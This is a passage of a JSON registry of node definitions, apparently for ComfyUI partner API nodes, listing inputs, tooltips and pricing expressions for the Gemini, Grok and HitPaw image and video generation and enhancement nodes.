"9:16", "16:9", "21:9"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "response_modalities": ["COMBO", {"advanced": true, "multiselect": false, "options": ["IMAGE", "IMAGE+TEXT"]}], "thinking_level": ["COMBO", {"multiselect": false, "options": ["MINIMAL", "HIGH"]}]}, "optional": {"images": ["IMAGE", {"tooltip": "Optional reference image(s). To include multiple images, use the Batch Images node (up to 14)."}], "files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}], "system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "aspect_ratio", "resolution", "response_modalities", "thinking_level"], "optional": ["images", "files", "system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["IMAGE", "STRING", "thought_image"], "output_tooltips": [null, null, "First image from the model's thinking process. Only available with thinking_level HIGH and IMAGE+TEXT modality."], "output_matchtypes": null, "name": "GeminiNanoBanana2", "display_name": "Nano Banana 2", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $r := widgets.resolution;\n $isFlash := $contains($m, \"nano banana 2\");\n $flashPrices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n $proPrices := {\"1k\": 0.134, \"2k\": 0.134, \"4k\": 0.24};\n $prices := $isFlash ? $flashPrices : $proPrices;\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiNanoBanana2V2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt describing the image to generate or the edits to apply. Include any constraints, styles, or details the model should follow.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Nano Banana 2 (Gemini 3.1 Flash Image)", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "If set to 'auto', matches your input image's aspect ratio; if no image is provided, a 16:9 square is usually generated.", "default": "auto", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9", "1:4", "4:1", "8:1", "1:8"]}], "resolution": ["COMBO", {"tooltip": "Target output resolution. For 2K/4K the native Gemini upscaler is used.", "multiselect": false, "options": ["1K", "2K", "4K"]}], "thinking_level": ["COMBO", {"multiselect": false, "options": ["MINIMAL", "HIGH"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s). Up to 14 images total.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14"], "min": 0}}]}, "optional": {"files": ["GEMINI_INPUT_FILES", {"tooltip": "Optional file(s) to use as context for the model. Accepts inputs from the Gemini Generate Content Input Files node."}]}}}]}], "seed": ["INT", {"tooltip": "When the seed is fixed to a specific value, the model makes a best effort to provide the same response for repeated requests. Deterministic output isn't guaranteed. Also, changing the model or parameter settings, such as the temperature, can cause variations in the response even when you use the same seed value. By default, a random seed value is used.", "default": 42, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "response_modalities": ["COMBO", {"advanced": true, "multiselect": false, "options": ["IMAGE", "IMAGE+TEXT"]}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate an AI's behavior.", "advanced": true, "default": "You are an expert image-generation engine. You must ALWAYS produce an image.\nInterpret all user input\u2014regardless of format, intent, or abstraction\u2014as literal visual directives for image composition.\nIf a prompt is conversational or lacks specific visual details, you must creatively invent a concrete visual scenario that depicts the concept.\nPrioritize generating the visual representation above any text, formatting, or conversational requests.", "multiline": true}], "temperature": ["FLOAT", {"tooltip": "Controls randomness in generation. Lower is more focused/deterministic.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling threshold. Lower is more focused, higher more diverse.", "advanced": true, "default": 0.95, "min": 0.0, "max": 1.0, "step": 0.01}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "response_modalities"], "optional": ["system_prompt", "temperature", "top_p"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "STRING", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["IMAGE", "STRING", "thought_image"], "output_tooltips": [null, null, "First image from the model's thinking process. Only available with thinking_level HIGH and IMAGE+TEXT modality."], "output_matchtypes": null, "name": "GeminiNanoBanana2V2", "display_name": "Nano Banana 2", "description": "Generate or edit images synchronously via Google Vertex API.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/image/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $r := $lookup(widgets, \"model.resolution\");\n $prices := {\"1k\": 0.0696, \"2k\": 0.1014, \"4k\": 0.154};\n {\"type\":\"usd\",\"usd\": $lookup($prices, $r), \"format\":{\"suffix\":\"/Image\",\"approximate\":true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GeminiInputFiles": {"input": {"required": {"file": ["COMBO", {"tooltip": "Input files to include as context for the model. Only accepts text (.txt) and PDF (.pdf) files for now.", "multiselect": false, "options": []}]}, "optional": {"GEMINI_INPUT_FILES": ["GEMINI_INPUT_FILES", {"tooltip": "An optional additional file(s) to batch together with the file loaded from this node. Allows chaining of input files so that a single message can include multiple input files."}]}}, "input_order": {"required": ["file"], "optional": ["GEMINI_INPUT_FILES"]}, "is_input_list": false, "output": ["GEMINI_INPUT_FILES"], "output_is_list": [false], "output_name": ["GEMINI_INPUT_FILES"], "output_tooltips": [null], "output_matchtypes": null, "name": "GeminiInputFiles", "display_name": "Gemini Input Files", "description": "Loads and prepares input files to include as inputs for Gemini LLM nodes. The files will be read by the Gemini model when generating a response. The contents of the text file count toward the token limit. \ud83d\udec8 TIP: Can be chained together with other Gemini Input File nodes.", "python_module": "comfy_api_nodes.nodes_gemini", "category": "partner/text/Gemini", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-image-quality", "grok-imagine-image-pro", "grok-imagine-image"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}], "number_of_images": ["INT", {"tooltip": "Number of images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "aspect_ratio", "number_of_images", "seed"], "optional": ["resolution"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageNode", "display_name": "Grok Image", "description": "Generate images using Grok based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "number_of_images", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := widgets.model = \"grok-imagine-image-quality\"\n ? (widgets.resolution = \"1k\" ? 0.05 : 0.07)\n : ($contains(widgets.model, \"pro\") ? 0.07 : 0.02);\n {\"type\":\"usd\",\"usd\": $rate * widgets.number_of_images}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-image-quality", "grok-imagine-image-pro", "grok-imagine-image"]}], "image": ["IMAGE", {"display_name": "images"}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected to the image input.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "resolution", "number_of_images", "seed"], "optional": ["aspect_ratio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageEditNode", "display_name": "Grok Image Edit", "description": "Modify an existing image based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "number_of_images", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isQualityModel := widgets.model = \"grok-imagine-image-quality\";\n $isPro := $contains(widgets.model, \"pro\");\n $rate := $isQualityModel\n ? (widgets.resolution = \"1k\" ? 0.05 : 0.07)\n : ($isPro ? 0.07 : 0.02);\n $base := $isQualityModel ? 0.01 : 0.002;\n $output := $rate * widgets.number_of_images;\n $isPro\n ? {\"type\":\"usd\",\"usd\": $base + $output}\n : {\"type\":\"range_usd\",\"min_usd\": $base + $output, \"max_usd\": 3 * $base + $output}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokImageEditNodeV2": {"input": {"required": {"prompt": ["STRING", {"tooltip": "The text prompt used to generate the image", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "grok-imagine-image-quality", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Up to 3 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}}}, {"key": "grok-imagine-image-pro", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image to edit.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}]}}}, {"key": "grok-imagine-image", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference image(s) to edit. Up to 3 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3"], "min": 1}}], "resolution": ["COMBO", {"multiselect": false, "options": ["1K", "2K"]}], "number_of_images": ["INT", {"tooltip": "Number of edited images to generate", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "aspect_ratio": ["COMBO", {"tooltip": "Only allowed when multiple images are connected.", "multiselect": false, "options": ["auto", "1:1", "2:3", "3:2", "3:4", "4:3", "9:16", "16:9", "9:19.5", "19.5:9", "9:20", "20:9", "1:2", "2:1"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokImageEditNodeV2", "display_name": "Grok Image Edit", "description": "Modify an existing image based on a text prompt", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/image/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.number_of_images", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isQualityModel := widgets.model = \"grok-imagine-image-quality\";\n $isPro := $contains(widgets.model, \"pro\");\n $res := $lookup(widgets, \"model.resolution\");\n $n := $lookup(widgets, \"model.number_of_images\");\n $rate := $isQualityModel\n ? ($res = \"1k\" ? 0.05 : 0.07)\n : ($isPro ? 0.07 : 0.02);\n $base := $isQualityModel ? 0.01 : 0.002;\n $output := $rate * $n;\n $isPro\n ? {\"type\":\"usd\",\"usd\": $base + $output}\n : {\"type\":\"range_usd\",\"min_usd\": $base + $output, \"max_usd\": 3 * $base + $output}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoNode": {"input": {"required": {"model": ["COMBO", {"tooltip": "grok-imagine-video-1.5 currently always requires an input image.", "multiselect": false, "options": ["grok-imagine-video", "grok-imagine-video-1.5"]}], "prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video. 1080p is only available for grok-imagine-video-1.5.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["auto", "16:9", "4:3", "3:2", "1:1", "2:3", "3:4", "9:16"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 6, "min": 1, "max": 15, "step": 1, "display": "slider"}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional starting image for grok-imagine-video. Required for grok-imagine-video-1.5."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "resolution", "aspect_ratio", "duration", "seed"], "optional": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoNode", "display_name": "Grok Video", "description": "Generate video from a prompt or an image", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": ["image"], "input_groups": []}, "expr": "\n (\n $is15 := $contains(widgets.model, \"1.5\");\n $rate := $is15\n ? (widgets.resolution = \"1080p\" ? 0.25 : (widgets.resolution = \"720p\" ? 0.14 : 0.08))\n : (widgets.resolution = \"720p\" ? 0.07 : 0.05);\n $imgCost := $is15 ? 0.01 : 0.002;\n $base := $rate * widgets.duration;\n $total := inputs.image.connected ? $base + $imgCost : $base;\n {\"type\":\"usd\",\"usd\": $is15 ? $total * 1.43 : $total}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoReferenceNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for video generation.", "options": [{"key": "grok-imagine-video", "inputs": {"required": {"reference_images": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 7 reference images to guide the video generation.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "reference_", "min": 1, "max": 7}}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "4:3", "3:2", "1:1", "2:3", "3:4", "9:16"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 6, "min": 2, "max": 10, "step": 1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoReferenceNode", "display_name": "Grok Reference-to-Video", "description": "Generate video guided by reference images as style and content references.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": ["model.reference_images"]}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $refs := $lookup(inputGroups, \"model.reference_images\");\n $rate := $res = \"720p\" ? 0.07 : 0.05;\n $price := ($rate * $dur + 0.002 * $refs) * 1.43;\n {\"type\":\"usd\",\"usd\": $price}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoEditNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["grok-imagine-video"]}], "prompt": ["STRING", {"tooltip": "Text description of the desired video.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Maximum supported duration is 8.7 seconds and 50MB file size."}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "video", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoEditNode", "display_name": "Grok Video Edit", "description": "Edit an existing video based on a text prompt.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.06, \"format\": {\"suffix\": \"/sec\", \"approximate\": true}}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "GrokVideoExtendNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of what should happen next in the video.", "multiline": true}], "video": ["VIDEO", {"tooltip": "Source video to extend. MP4 format, 2-15 seconds."}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The model to use for video extension.", "options": [{"key": "grok-imagine-video", "inputs": {"required": {"duration": ["INT", {"tooltip": "Length of the extension in seconds.", "default": 8, "min": 2, "max": 10, "step": 1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "video", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "GrokVideoExtendNode", "display_name": "Grok Video Extend", "description": "Extend an existing video with a seamless continuation based on a text prompt.", "python_module": "comfy_api_nodes.nodes_grok", "category": "partner/video/Grok", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $dur := $lookup(widgets, \"model.duration\");\n {\n \"type\": \"range_usd\",\n \"min_usd\": (0.02 + 0.05 * $dur) * 1.43,\n \"max_usd\": (0.15 + 0.05 * $dur) * 1.43\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HitPawGeneralImageEnhance": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["generative_portrait", "generative"]}], "image": ["IMAGE", {}], "upscale_factor": ["COMBO", {"multiselect": false, "options": [1, 2, 4]}], "auto_downscale": ["BOOLEAN", {"tooltip": "Automatically downscale input image if output would exceed the limit.", "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "upscale_factor", "auto_downscale"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "HitPawGeneralImageEnhance", "display_name": "HitPaw General Image Enhance", "description": "Upscale low-resolution images to super-resolution, eliminate artifacts and noise. Maximum output: 32 megapixels.", "python_module": "comfy_api_nodes.nodes_hitpaw", "category": "partner/image/HitPaw", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"generative_portrait\": {\"min\": 0.02, \"max\": 0.06},\n \"generative\": {\"min\": 0.05, \"max\": 0.15}\n };\n $price := $lookup($prices, widgets.model);\n {\n \"type\": \"range_usd\",\n \"min_usd\": $price.min,\n \"max_usd\": $price.max\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HitPawVideoEnhance": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Portrait Restore Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Portrait Restore Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "General Restore Model (4x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Ultra HD Model (2x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD", "8K"]}]}}}, {"key": "Generative Model (1x)", "inputs": {"required": {"resolution": ["COMBO", {"multiselect": false, "options": ["original", "720p", "1080p", "2K/QHD", "4K/UHD"]}]}}}]}], "video": ["VIDEO", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "HitPawVideoEnhance", "display_name": "HitPaw Video Enhance", "description": "Upscale low-resolution videos to high resolution, eliminate artifacts and noise. Prices shown are per second of video.", "python_module": "comfy_api_nodes.nodes_hitpaw", "category": "partner/video/HitPaw", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := $lookup(widgets, \"model\");\n $res := $lookup(widgets, \"model.resolution\");\n $standard_model_prices := {\n \"original\": {\"min\": 0.01, \"max\": 0.198},\n \"720p\": {\"min\": 0.01, \"max\": 0.06},\n \"1080p\": {\"min\": 0.015, \"max\": 0.09},\n \"2k/qhd\": {\"min\": 0.02, \"max\": 0.117},\n \"4k/uhd\": {\"min\": 0.025, \"max\": 0.152},\n \"8k\": {\"min\": 0.033, \"max\": 0.198}\n };\n $ultra_hd_model_prices := {\n \"original\": {\"min\": 0.015, \"max\": 0.264},\n \"720p\": {\"min\": 0.015, \"max\": 0.092},\n \"1080p\": {\"min\": 0.02, \"max\": 0.12},\n \"2k/qhd\": 